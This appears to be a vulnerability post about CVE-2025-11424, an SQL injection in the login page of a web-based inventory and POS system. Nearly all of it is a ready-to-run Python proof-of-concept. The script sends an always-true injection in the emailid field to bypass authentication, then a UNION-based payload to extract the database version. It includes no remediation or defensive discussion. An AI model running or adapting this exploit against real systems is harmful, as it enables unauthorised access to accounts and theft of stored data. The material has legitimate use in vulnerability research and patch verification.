CVE-2025-11424：Web-Based Inventory and POS System SQL注入漏洞

# CVE-2025-11424 - SQL Injection PoC # Target: code-projects Web-Based Inventory and POS System 1.0 # Vulnerable File: /login.php # Vulnerable Parameter: emailid import requests # Target configuration TARGET_URL = "http://target-host.com/login.php" # SQL Injection payload for authentication bypass # The payload closes the original SQL string and adds an OR condition that is always true, # then comments out the rest of the query (password check) payload_emailid = "' OR '1'='1' -- " payload_password = "anything" # Exploit using POST request def exploit_sqli(): data = { "emailid": payload_emailid, "password": payload_password } response = requests.post(TARGET_URL, data=data) if "Welcome" in response.text or "Dashboard" in response.text or response.status_code == 302: print("[+] SQL Injection successful! Authentication bypassed.") print(f"[+] Response status: {response.status_code}") return True else: print("[-] Exploit failed.") return False # Data extraction via UNION-based SQLi def extract_data(): # Extract database version sqli_payload = "' UNION SELECT 1,version(),3,4 -- " data = { "emailid": sqli_payload, "password": "test" } response = requests.post(TARGET_URL, data=data) print(f"[+] Database info extraction response: {response.text[:500]}") if __name__ == "__main__": exploit_sqli() extract_data()